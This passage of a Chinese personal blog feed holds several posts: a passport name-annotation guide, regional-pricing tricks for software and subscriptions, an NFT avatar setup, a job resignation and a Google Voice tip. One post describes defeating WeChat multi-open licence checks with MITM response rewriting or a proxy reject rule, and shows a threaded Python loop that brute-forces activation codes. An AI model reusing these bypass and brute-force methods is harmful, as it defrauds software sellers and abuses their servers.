因此本人的英文名 MIKE ZHANG 在中华人民共和国境外的所有行为均由本人承担所有法律后果。

特此声明。

声明人：张三

二〇二二年六月二十二日
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;公证&lt;/h3&gt;
&lt;p&gt;据我所知，公证只能在户籍所在地的公证处办理。当然某宝也可以帮忙办理这类&lt;code&gt;中英文同一人&lt;/code&gt;的公证，但是收费一般在 2000 元人民币以上，非常不建议。我在浙江省办理的声明书公证，花费 400 元人民币，包含一份公证书，当然您可以要求多份，每一份加 20 元。我强烈建议要两份，其中的一份可能会被出入境管理局收走存档，当然我去的出入境管理局仅需要复印件，他们会帮你复印。但是我还是直接给了原件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重点：建议提前打电话询问您户籍所在地的公证处是否愿意办理此类公证。有的可能需要向领导请示，因为这类公证办理的人非常少。请注意，不是外国人的中英文名公证。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;公证书是当天办理，立马可以取走的。建议安排在同一天，办理完公证可以直接前往出入境管理局。&lt;/p&gt;
&lt;h2&gt;费用和耗时&lt;/h2&gt;
&lt;p&gt;全程仅有公证需要花费 400 元人民币，护照加注是完全免费的。如果您没有护照，新办护照需要花费 160 元人民币。当然，在新办护照时直接加注不确定是否可以，您可以尝试。&lt;/p&gt;
&lt;p&gt;一般情况下，在公证处需要花费 1 小时左右，因为公证书确定之后，需要上级领导审批，审批完之后需要打印装订。材料齐全的话，递交给出入境管理局仅需要 15 分钟左右。当然在护照上加注是无法立刻取回护照的，一般需要寄到&lt;code&gt;省公安厅出入境制证中心&lt;/code&gt;。例如浙江省在杭州市萧山区。预计等待时间为 7 个工作日，我是在周三办理的，下周三从杭州寄出，在周四收到的快递。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;寄往&lt;code&gt;省公安厅出入境制证中心&lt;/code&gt;由&lt;code&gt;当地出入境管理局&lt;/code&gt;完成，寄回给您是由&lt;code&gt;省公安厅出入境制证中心&lt;/code&gt;完成。一般是通过 EMS 寄回，并且是已经支付运费的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20221230GKbnuj.jpg&quot; alt=&quot;20221230GKbnuj&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Spend $8 to buy Affinity Universial License</title><link>https://missuo.me/posts/affinity-universial-license/</link><guid isPermaLink="true">https://missuo.me/posts/affinity-universial-license/</guid><description>A guide to purchasing Affinity Universal License at Argentina pricing (~$8 USD) through Microsoft Store by changing region settings and using Upwork to find someone with an Argentine payment method.</description><pubDate>Wed, 21 Dec 2022 11:30:33 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;关于全系通行证的介绍，就不多介绍，简单说就是可以在所有设备上激活所有 &lt;code&gt;Affinity&lt;/code&gt; 产品（Photo, Designer, Publisher）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;相关介绍&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://affinity.serif.com/en-us/&quot;&gt;https://affinity.serif.com/en-us/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;价格&lt;/h2&gt;
&lt;p&gt;1439.40ARS = 57CNY = 8USD
由于需要代付（代购），实际成本大概在 13-15USD。&lt;/p&gt;
&lt;h2&gt;开通方法&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;需要一台 &lt;code&gt;Windows&lt;/code&gt; 电脑，并且必须要有 &lt;code&gt;Microsoft Store&lt;/code&gt;。如果部分精简版系统砍掉了，请自行搜索如何恢复，或者换电脑或重装系统。&lt;/li&gt;
&lt;li&gt;在系统设置内，切换国家与地区到 &lt;code&gt;阿根廷&lt;/code&gt;。（一开始以为跟 IP 有关，后来才知道根本没关系）&lt;/li&gt;
&lt;li&gt;打开 &lt;code&gt;Microsoft Store&lt;/code&gt; 直接下载 &lt;code&gt;Affinity Photo 2&lt;/code&gt;，打开该软件会提示你购买。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;关于代付&lt;/h2&gt;
&lt;p&gt;我尝试了自己的信用卡支付失败，应该像网上说的，只能使用阿根廷的 &lt;code&gt;Debit/Credit Card&lt;/code&gt;。之前看到的帖子是找某宝，但是因为活动已经过去一个月左右，做代付的某宝商家已经学聪明了，直接将 &lt;code&gt;Affinity通行证&lt;/code&gt; 摆上货架，常见收费 158-180CNY。非常不划算，等于是原价的三倍。而且态度极差，会告诉你低于这个价格你哪里都买不到。&lt;/p&gt;
&lt;p&gt;找了很多办法，阿根廷也没有礼品卡这一说，虚拟信用卡我也尝试了，没有阿根廷手机号和身份证无法开通。最后在 &lt;code&gt;UpWork&lt;/code&gt; 发了一个帖子，邀请了几个人，其中有一个 &lt;code&gt;美女小姐姐&lt;/code&gt; 接受了邀请。小姐姐很靠谱，花了 10 来分钟就帮我搞定了。我是让她登录我的帐号帮我购买。购买之后移除她自己的付款方式，并且我移除她的设备。（建议合作之前说清楚，他需要花费 1440ARS 的成本，但是可以得到 15USD）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202212218l1ys8.png&quot; alt=&quot;202212218l1ys8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202212216pcvcg.png&quot; alt=&quot;202212216pcvcg&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Twitter using NFT avatar</title><link>https://missuo.me/posts/twitter-nft-avatar/</link><guid isPermaLink="true">https://missuo.me/posts/twitter-nft-avatar/</guid><description>A step-by-step tutorial for setting up a hexagonal NFT avatar on Twitter Blue using OpenSea, MetaMask, and Coinbase wallets, costing approximately $2 in ETH gas fees.</description><pubDate>Sun, 06 Nov 2022 22:52:42 GMT</pubDate><content:encoded>&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;OpenSea 帐号&lt;/li&gt;
&lt;li&gt;MetaMask 钱包&lt;/li&gt;
&lt;li&gt;Coinbase 钱包&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;开通步骤&lt;/h2&gt;
&lt;h3&gt;开通 Twitter Blue&lt;/h3&gt;
&lt;p&gt;推荐使用 iPhone 打开 Twitter 官方客户端，我的 Apple ID 是美区的，可以直接通过内购开通，价格为每月 &lt;code&gt;4.99USD&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;往你的 MetaMask 钱包充钱&lt;/h3&gt;
&lt;p&gt;正常情况下，等值 2USD 的 ETH 足够了。因为我是用 OKX 向我的 MetaMask 转账的，OKX 的最低转账是 0.01ETH，所以我充值了大概 130CNY 全部买成 ETH。（0.01ETH 大概可以生成 6-7 个 NFT 头像）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;请注意最好是复制粘贴你的 MetaMask 的 ETH 收款地址，输错无法找回。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以上这笔费用，主要是用于转移你的 NFT 头像头像的手续费。大概不到 2USD。&lt;/p&gt;
&lt;h3&gt;在 OpenSea 上传你的头像&lt;/h3&gt;
&lt;p&gt;点击 &lt;a href=&quot;https://opensea.io/asset/create&quot;&gt;Create&lt;/a&gt; 按扭。上传你的头像，并且取一个名字即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20221106KsQLZo.png&quot; alt=&quot;20221106KsQLZo&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;转移你的头像到 Coinbase&lt;/h3&gt;
&lt;p&gt;点击红色框框内的 &lt;code&gt;转移&lt;/code&gt; 图标。输入你的 Coinbase ETH 地址，这个时候会需要你支付手续费。你直接支付即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20221106gfwJSy.png&quot; alt=&quot;20221106gfwJSy&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;更换 Twitter 头像&lt;/h3&gt;
&lt;p&gt;在 Twitter 上点击更换头像，选择 NFT，这个时候会提示你连接你的 ETH 钱包，你连接你的 Coinbase 钱包之后，会发现已经有一个可选的头像了。换好之后就是六边形的 NFT 专属头像。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20221106rcFWOB.jpg&quot; alt=&quot;20221106rcFWOB&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>About WeChat Multi-opening on iOS</title><link>https://missuo.me/posts/tf-wechat/</link><guid isPermaLink="true">https://missuo.me/posts/tf-wechat/</guid><description>A technical exploration of bypassing WeChat multi-open app activation codes through MITM request interception and brute-force code generation using multithreaded Python scripts.</description><pubDate>Tue, 13 Sep 2022 04:02:43 GMT</pubDate><content:encoded>&lt;p&gt;正常情况下，在 iOS 设备上是不可能安装两个一模一样的 App。但是大部分人对于 &lt;code&gt;微信&lt;/code&gt; 这款 App 都希望能够有 2 个及以上。工作和个人两个号，互不打扰。也能够及时的看到两个账号的消息，这是最完美的事情。&lt;/p&gt;
&lt;p&gt;如果要做到以上的情况需要怎么做呢，大部分的选择可能是去某宝购买。某宝的价格基本上在 40-100 元不等，非常昂贵。平均下来，买一次最多使用 1-3 个月左右。淘宝售卖的是各种品牌的微信多开，但是按大类来分，无非就是两种，&lt;code&gt;TestFlight(TF)&lt;/code&gt; 和 &lt;code&gt;企业证书&lt;/code&gt;。我不展开说这两个版本有什么区别，如果要我硬是选择一个更好的，我会选择 TF 版本。&lt;/p&gt;
&lt;p&gt;既然某宝那么贵到底成本有多少呢，理论上除去开发成本，成本应该只有一个 Apple Developer 订阅的账号(688 元)的成本吧。因此，会有很多叫做 &lt;code&gt;卡密网&lt;/code&gt; 的网站以非常低的价格售卖微信多开。基本上价格在 5-40 元之间，10-20 元居多。我曾经也买了很多次，最后总结的经验就是，基本上在三个月之内，作者必定会跑路。也就是意味着你三个月之后就用不了了，而且最恶心的事情是，作者会更换一个名字，三个月后重新开始售卖。典型的改名继续圈钱。&lt;/p&gt;
&lt;p&gt;正常的流程，买的是一个激活码，然后第一次打开这个多开的时候，需要输入激活码进行验证。验证成功后可以正常使用。我想，是否有办法去绕过这个验证呢？&lt;/p&gt;
&lt;h3&gt;直接屏蔽验证接口&lt;/h3&gt;
&lt;p&gt;一般情况下，作者为了控制激活码的有效性，简单来说，如果你退款了，他可以立刻封禁你的激活码让你无法使用。所以他们一般会在每次打开 App 的时候，向服务器发起一个请求，如果服务端验证通过，会返回一些东西，例如“成功”等等。这种验证方式，其实还是有办法解决的，我们只要拿到正常的激活码，&lt;code&gt;Response&lt;/code&gt; 的内容是什么，我们通过强大的 &lt;code&gt;QuanX&lt;/code&gt; 或者 &lt;code&gt;Surge&lt;/code&gt; 这类工具，开启 &lt;code&gt;MITM&lt;/code&gt;，重写 &lt;code&gt;Response&lt;/code&gt; 即可。在我测试的过程中，有遇到过直接 &lt;code&gt;Reject&lt;/code&gt; 接口也可以绕过验证。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DOMAIN-SUFFIX, xxx.com, Reject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然有些开发者可能已经考虑到我们会这样做，于是他直接将验证的代码写在了本地。这类程序几乎是无法绕过的。&lt;/p&gt;
&lt;h3&gt;自己获取激活码&lt;/h3&gt;
&lt;p&gt;由于被薅过太多次羊毛，每次三个月就跑路。我就开始想，有没有办法薅作者的羊毛。初步的想法是搞明白作者的激活码的规律。但是这显然不靠谱，因为这些基本随机生成的，当然肯定有一定的规律，只是我们不是开发者本人，几乎是不可能猜到的。&lt;/p&gt;
&lt;p&gt;既然找不到规律，就只能开始暴力破解。我发现大部分的多开的激活码都是 &lt;code&gt;YW-XXXXXX&lt;/code&gt;，前面两个字母是产品名字的首字母，例如云微是 &lt;code&gt;YW&lt;/code&gt;，云彩是 &lt;code&gt;YC&lt;/code&gt; 等等。然后后面的这一串 &lt;code&gt;XXXXXX&lt;/code&gt; 是随机的六个字母。也就是说激活码的可能性只存在于 &lt;code&gt;AAAAAA&lt;/code&gt;-&lt;code&gt;ZZZZZZ&lt;/code&gt; 之中。这个可能性非常大，但是交给我们的服务器去做，简直是小菜一碟。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pool = threadpool.ThreadPool(99)
while True:
	code = create_code()
	tasks = threadpool.makeRequests(run, code)
	[pool.putRequest(req) for req in tasks]
	pool.wait()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我开始编写脚本，采用多线程的方案去尝试。效果非常好，几分钟出现很多验证通过的结果。服务器运行 24 小时，可以出现上千个激活码。于是我就有了用不完的激活码，成功薅到了作者的羊毛。&lt;/p&gt;
</content:encoded></item><item><title>Summary of low prices for subscription services</title><link>https://missuo.me/posts/subscription-service/</link><guid isPermaLink="true">https://missuo.me/posts/subscription-service/</guid><description>A comprehensive guide to subscribing to services at regional prices, including Spotify Philippines, YouTube Premium Argentina, Netflix Pakistan, and Turkish App Store for apps like Surge, Telegram Premium, and iCloud.</description><pubDate>Thu, 01 Sep 2022 19:37:47 GMT</pubDate><content:encoded>&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;p&gt;以下提到的所有的方式都有可能导致账号被封、服务停用等不可控情况，如发生任何账号异常的情况，本人概不负责。请谨慎使用！&lt;/p&gt;
&lt;p&gt;由于部分开通方式需要某宝购买礼品卡或者代充值，实际开通的价格比我标注的可能略高一些。&lt;/p&gt;
&lt;p&gt;因为是一个汇总，开通的方法不会介绍太详细，如在开通过程中遇到任何问题，欢迎咨询。&lt;/p&gt;
&lt;p&gt;以下汇率可能存在波动，请自行转换为实时汇率。&lt;/p&gt;
&lt;h1&gt;目录(主要都是我自用的一些服务)&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Spotify&lt;/li&gt;
&lt;li&gt;YouTube Premium&lt;/li&gt;
&lt;li&gt;Netflix&lt;/li&gt;
&lt;li&gt;Disney Plus&lt;/li&gt;
&lt;li&gt;Google One/Google Drive&lt;/li&gt;
&lt;li&gt;Dropbox&lt;/li&gt;
&lt;li&gt;iCloud&lt;/li&gt;
&lt;li&gt;Mega&lt;/li&gt;
&lt;li&gt;Infuse&lt;/li&gt;
&lt;li&gt;Xnip&lt;/li&gt;
&lt;li&gt;Surge&lt;/li&gt;
&lt;li&gt;Taio&lt;/li&gt;
&lt;li&gt;Telegram Premium&lt;/li&gt;
&lt;li&gt;Twitterrific&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;开通方法&lt;/h2&gt;
&lt;h3&gt;1. Spotify - 菲律宾区 - 214 PHP/6 人&lt;/h3&gt;
&lt;p&gt;折合人民币 26.11 元 /月，人均不到 5 元。需要在某宝购买一张菲律宾电话卡(11 元)。需要用菲律宾 IP ，将你的账号切换到菲律宾。支付方式可以选择电话卡话费、Paymaya 、Gcash(推荐)。&lt;/p&gt;
&lt;h3&gt;2. YouTube Premium - 阿根廷区 - 179 ARS/6 人&lt;/h3&gt;
&lt;p&gt;折合人民币 8.9 元 /月，人均不到 1.5 元。需要添加阿根廷的付款之后后使用 Visa/Mastercard 付款即可。&lt;/p&gt;
&lt;h3&gt;3. Netflix - 巴基斯坦区 - 1100 PKR/5 人&lt;/h3&gt;
&lt;p&gt;折合人民币 34.78 元 /月，人均不到 7 元。需要巴基斯坦 IP ，联系客服修改到巴基斯坦，接着正常使用 Visa/Mastercard 付款即可。&lt;/p&gt;
&lt;h3&gt;4. Disney Plus - 土耳其区 - 349.9 TRY/7 人&lt;/h3&gt;
&lt;p&gt;折合人民币 132.6 元 /年，人均不到 20 元。需要一个空白的谷歌账号，没有添加过付款资料的，或者之前添加过土耳其付款资料的账号。使用安卓手机下载 Disney+后，使用 Google Play 付款。开通后可以联系客服转到新加坡区，解锁 R18 等。iPhone 似乎也可以，可以自行研究。&lt;/p&gt;
&lt;h3&gt;5. Google One/Google Drive 2T - 土耳其区 - 289.99 TRY/6 人&lt;/h3&gt;
&lt;p&gt;折合人民币 109.9 元 /年，人均不到 20 元。需要土耳其 IP ，需要拥有土耳其付款资料的谷歌账号。接着正常使用 Visa/Mastercard 付款即可。&lt;/p&gt;
&lt;h3&gt;6. Dropbox 2T - 土耳其区 -  134.99 TRY/6 人&lt;/h3&gt;
&lt;p&gt;折合人民币 51.16 元 /月，人均不到 9 元。需要一个土耳其的 Apple ID ，通过苹果内购开通。土耳其账号充值需要某宝购买充值卡。&lt;/p&gt;
&lt;h3&gt;7. iCloud 2T - 土耳其区 - 64.99 TRY/6 人&lt;/h3&gt;
&lt;p&gt;折合人民币 25 元 /月，人均不到 5 元。土耳其 ID 内购。注意，也可以在已有的家庭邀请一个土耳其账号，由土耳其账号共享 iCloud+。&lt;/p&gt;
&lt;h3&gt;8. Mega 400G - 土耳其区 - 12.99 TRY/人&lt;/h3&gt;
&lt;p&gt;折合人民币 4.92 元 /月。土耳其 ID 内购。&lt;/p&gt;
&lt;h3&gt;9. Infuse - 土耳其区 - 9.99 TRY&lt;/h3&gt;
&lt;p&gt;折合人民币 3.79 元 /月。土耳其 ID 内购。需要登陆土耳其账号恢复订阅。&lt;/p&gt;
&lt;h3&gt;10. Xnip - 土耳其区 - 32.99 TRY&lt;/h3&gt;
&lt;p&gt;折合人民币 12.5 元 /年。土耳其 ID 内购。需要登陆土耳其账号恢复订阅。&lt;/p&gt;
&lt;h3&gt;11. Surge Pro - 土耳其区 - 102.99 TRY&lt;/h3&gt;
&lt;p&gt;折合人民币 39.03 元 /年。土耳其 ID 内购。开通后不再需要恢复订阅，绑定账号。&lt;/p&gt;
&lt;h3&gt;12. Taio - 土耳其区 - 87.99 TRY&lt;/h3&gt;
&lt;p&gt;折合人民币 33.35 元 /年。土耳其 ID 内购。需要登陆土耳其账号恢复订阅。&lt;/p&gt;
&lt;h3&gt;13. Telegram Premium - 土耳其区 - 13.99 TRY&lt;/h3&gt;
&lt;p&gt;折合人民币 5.3 元 /月。土耳其 ID 内购。开通后不再需要恢复订阅，绑定账号。&lt;/p&gt;
&lt;h3&gt;14. Twitterrific - 土耳其区 - 5.99 TRY&lt;/h3&gt;
&lt;p&gt;折合人民币 2.27 元 /月。土耳其 ID 内购。需要登陆土耳其账号恢复订阅。&lt;/p&gt;
&lt;h2&gt;附言&lt;/h2&gt;
&lt;p&gt;由于土耳其区 App Store 优惠的软件实在太多。可以自行研究。如没有独立账号的应用，土耳其区的内购可能会因为更新掉订阅，需要重新登录土耳其账号恢复订阅。&lt;/p&gt;
</content:encoded></item><item><title>Resigned from PwC</title><link>https://missuo.me/posts/resigned-from-pwc/</link><guid isPermaLink="true">https://missuo.me/posts/resigned-from-pwc/</guid><description>A reflection on resigning from PwC AC Shanghai after just two weeks due to unexpected assignment to Salesforce development instead of preferred software engineering work.</description><pubDate>Thu, 02 Jun 2022 03:15:23 GMT</pubDate><content:encoded>&lt;p&gt;前天，也就是周二，2022 年 5 月 31 日。我从 PwC 主动申请离职了，办理好了所有的材料。直到今天，我的 PwC 员工账号和工作邮箱配置文件正式被移除，完全地离开了 PwC。&lt;/p&gt;
&lt;p&gt;我在 4 月通过朋友的内推，参与了笔试、面试。面试的时候，其实感觉自己表现不太好。面试官只问 &lt;strong&gt;Java&lt;/strong&gt; 相关的问题，但我平时 &lt;strong&gt;Java&lt;/strong&gt; 的开发几乎没有，所以当时是觉得基本上凉了。没想到几天之后 &lt;strong&gt;HR&lt;/strong&gt; 小姐姐告诉我我被录用了，跟我确认完一些信息后，给我发了 &lt;strong&gt;Offer&lt;/strong&gt; 邮件。当我接到电话和收到的那一刻，其实内心还是很激动的，毕竟这是我的第一份正式的工作，还是一家挺不错的公司。&lt;/p&gt;
&lt;p&gt;接下来的一个月时间，我都在准备入职的材料。包括体检报告、核酸报告、背景调查报告和在校证明等等，总之还是挺繁琐的，需要特别多的材料。直到 2022 年 5 月 16 日（周一），我正式入职。那一天下午，在内部群发了一个当天入职的所有人的 &lt;strong&gt;Domain&lt;/strong&gt;，我才发现我被分配到了 &lt;strong&gt;Salesforce&lt;/strong&gt; 部门。我瞬间有些崩溃，因为我从来没了解过 &lt;strong&gt;Salesforce&lt;/strong&gt; 开发是做什么的。我立马打开谷歌查阅了相关资料，才发现相关的开发就是在 &lt;strong&gt;Salesforce&lt;/strong&gt; 的云平台去做一些自定义的二次开发。显然，我这不是我喜欢的开发模式。我向 &lt;strong&gt;HR&lt;/strong&gt; 提出了更换部门的请求。一开始询问了我想去什么部门，最后告诉我都换不了。&lt;/p&gt;
&lt;p&gt;我实在没有办法，想过直接提离职，但是还是想熟悉一下 &lt;strong&gt;Salesforce&lt;/strong&gt; 开发之后再做决定。所以在接下来上班的时间里，我努力去学习 &lt;strong&gt;Coach&lt;/strong&gt; 发的 &lt;strong&gt;Trailhead&lt;/strong&gt; 的相关课程，基本就一直处于自学的状态。老实说，短暂几天的自学，我发现其实 &lt;strong&gt;Salesforce&lt;/strong&gt; 的开发并没有很难，反而是比较 &lt;strong&gt;傻瓜式&lt;/strong&gt; 的。可以通过平台上的可视化界面对数据库进行几乎所有的操作，甚至还有低代码。但显然这不是我所喜欢的开发。&lt;/p&gt;
&lt;p&gt;直到入职的第二周的周三，2022 年 5 月 25 日，我的 &lt;strong&gt;Coash&lt;/strong&gt; 主动联系了我，要和我语音交流，我就知道应该是比较重要的事情。一般小事情我们都会通过 &lt;strong&gt;Teams&lt;/strong&gt; 来交流。她询问了我对于 &lt;strong&gt;Salesforce&lt;/strong&gt; 开发的兴趣，并且她已经得知了我想要更换部门的消息。我也没有再做任何掩饰，我坦诚地说明了我的想法，她和我聊了许久，还是希望我能够尝试去做相关的开发，给我几天时间让我再考虑考虑。我没有考虑，我很果断地决定更换部门，实在不行离职。&lt;/p&gt;
&lt;p&gt;第二天我被告知无法更换部门，所以和刚开始预测的一样，我选择了离职。那天我发了一条微博，“不想再不喜欢的事情上浪费时间”。今天是离职的第二天，你要我会想这短暂的两周，打心底里说，PwC AC 上海真的是一家很不错的公司，有非常完善的新员工培训课程，最关键的是非常人性化的公司规定，没有加班，可以远程办公（没有疫情的时候也一样适用）。但是我不后悔所做的决定。&lt;/p&gt;
&lt;p&gt;这一次非常短暂的实力经历，让我吸取了不少教训。我应聘的岗位是 &lt;strong&gt;助理软件工程师&lt;/strong&gt; 。我收到的 &lt;strong&gt;Offer&lt;/strong&gt; 邮件写的是 &lt;strong&gt;SF&lt;/strong&gt;。如果你从来没听过 &lt;strong&gt;Salesforce&lt;/strong&gt; ，一定不会知道 &lt;strong&gt;SF&lt;/strong&gt; 代表的正是 &lt;strong&gt;Salesforce&lt;/strong&gt;。最后在我离职前一天，我向 &lt;strong&gt;PwC AC Shanghai&lt;/strong&gt; 的 &lt;strong&gt;Partner&lt;/strong&gt; ，也就是上海加速中心的老板表达了我对 &lt;strong&gt;HR&lt;/strong&gt; 招聘工作的一些建议。老板很快就回复了我的私信，表示会向 &lt;strong&gt;HR&lt;/strong&gt; 部门反应，并且询问了我的兴趣，希望我之后有机会还能加入 &lt;strong&gt;PwC&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;是的，正如这篇文章描述的一样，这一次的实习的确让我不太舒服，因为疫情，我甚至没有拿到员工卡，没有去过一次公司，就结束了。不管怎么样，还是很感恩遇见的所有人，特别是美国那边的同事耐心地帮我解决了问题。如果有机会的话，也许真的还会加入 &lt;strong&gt;PwC&lt;/strong&gt;。&lt;/p&gt;
</content:encoded></item><item><title>Makes Google Voice permanent</title><link>https://missuo.me/posts/makes-google-voice-permanent/</link><guid isPermaLink="true">https://missuo.me/posts/makes-google-voice-permanent/</guid><description>A step-by-step guide to permanently keeping a Google Voice number for $10 by purchasing a new number and using the legacy console to mark the old number as permanent, confirmed by Google support.</description><pubDate>Sat, 23 Apr 2022 20:05:32 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Google Voice 是由 Google 推出的 VOIP 服务，能够将个人所用的众多电话号码集中成为一个号码，同时提供许多加值服务，它在美加地区提供的免费语音通话和短信服务。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;过去常用的方法是花 10 美元买一个新号，然后再花 20 美元永久保留旧号，总共需要花费 30 美元，但是现在仅需花费 10 美元低成本保留旧号。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220423g8fPwZ.jpg&quot; alt=&quot;20220423g8fPwZ&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一张 Visa/Master/American Express Debit/Credit Card&lt;/li&gt;
&lt;li&gt;一个美国 IP 的梯子&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;具体操作&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;打开 &lt;a href=&quot;https://voice.google.com&quot;&gt;https://voice.google.com&lt;/a&gt; ，登陆你的账号。
&lt;img src=&quot;https://i.uid.si/img/20220423u3L6jx.jpg&quot; alt=&quot;20220423u3L6jx&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入 &lt;code&gt;旧版控制台&lt;/code&gt;，由于现在谷歌已经隐藏了旧版工作台的入口，你无法直接进入，我们直接在地址栏，替换为 &lt;a href=&quot;https://www.google.com/voice/b/1?noredirect=1#phones&quot;&gt;https://www.google.com/voice/b/1?noredirect = 1#phones&lt;/a&gt; ，按回车访问。
&lt;img src=&quot;https://i.uid.si/img/20220423KzTqAj.jpg&quot; alt=&quot;20220423KzTqAj&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择 &lt;code&gt;Change / Port&lt;/code&gt; 进行换号。
&lt;img src=&quot;https://i.uid.si/img/20220423TqML9v.jpg&quot; alt=&quot;20220423TqML9v&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择 &lt;code&gt;I want a new number&lt;/code&gt;。
&lt;img src=&quot;https://i.uid.si/img/20220423Sxzvsc.jpg&quot; alt=&quot;20220423Sxzvsc&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;换号 10 美元，点 &lt;code&gt;Continue&lt;/code&gt; 继续。
&lt;img src=&quot;https://i.uid.si/img/20220423roSmPv.jpg&quot; alt=&quot;20220423roSmPv&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择一个你喜欢的号点 &lt;code&gt;Continue&lt;/code&gt; 继续。
&lt;img src=&quot;https://i.uid.si/img/20220423tDGH4h.jpg&quot; alt=&quot;20220423tDGH4h&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;点 &lt;code&gt;Purchase number&lt;/code&gt; 继续。
&lt;img src=&quot;https://i.uid.si/img/20220423NIY5tJ.jpg&quot; alt=&quot;20220423NIY5tJ&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;付款，换号成功，点 &lt;code&gt;Done&lt;/code&gt;。
&lt;img src=&quot;https://i.uid.si/img/20220423dLmuFA.jpg&quot; alt=&quot;20220423dLmuFA&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;账号上已经有两个 Google Voice 号了，但旧 Google Voice 号后面有过期时间。
&lt;img src=&quot;https://i.uid.si/img/20220423Yfdup6.jpg&quot; alt=&quot;20220423Yfdup6&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;返回 &lt;code&gt;新版控制台&lt;/code&gt;，访问 &lt;a href=&quot;https://voice.google.com&quot;&gt;https://voice.google.com&lt;/a&gt;  ，点右上角的设置 ⚙️ 图标。
&lt;img src=&quot;https://i.uid.si/img/202204235B4ldU.png&quot; alt=&quot;202204235B4ldU&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;旧号码上会出现 &lt;code&gt;永久保留&lt;/code&gt; 选项，点击这个按钮。
&lt;img src=&quot;https://i.uid.si/img/202204233zMpPp.jpg&quot; alt=&quot;202204233zMpPp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;会提示 &lt;code&gt;此号码将由您永久保留&lt;/code&gt;。完成。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;可靠性&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;很多朋友可能都会疑惑，这样操作，两个号码是不是都会变成永久保留。针对这个问题，我特地给谷歌支持团队发了邮件咨询。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;大概的意思是旧号码将会被 &lt;code&gt;永久保留&lt;/code&gt;，但是新买的新号不会被永久保留，需要在六个月内保持活跃，通过主动发短信/打电话的方式来保号。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;译文&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220423PhwlfY.png&quot; alt=&quot;20220423PhwlfY&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;原文&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220423aziEAw.JPEG&quot; alt=&quot;20220423aziEAw&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;感谢&lt;/h2&gt;
&lt;p&gt;由于我已经操作完，部分截图来自 &lt;a href=&quot;https://www.winvps.eu/279/&quot;&gt;https://www.winvps.eu/279/&lt;/a&gt;&lt;/p&gt;
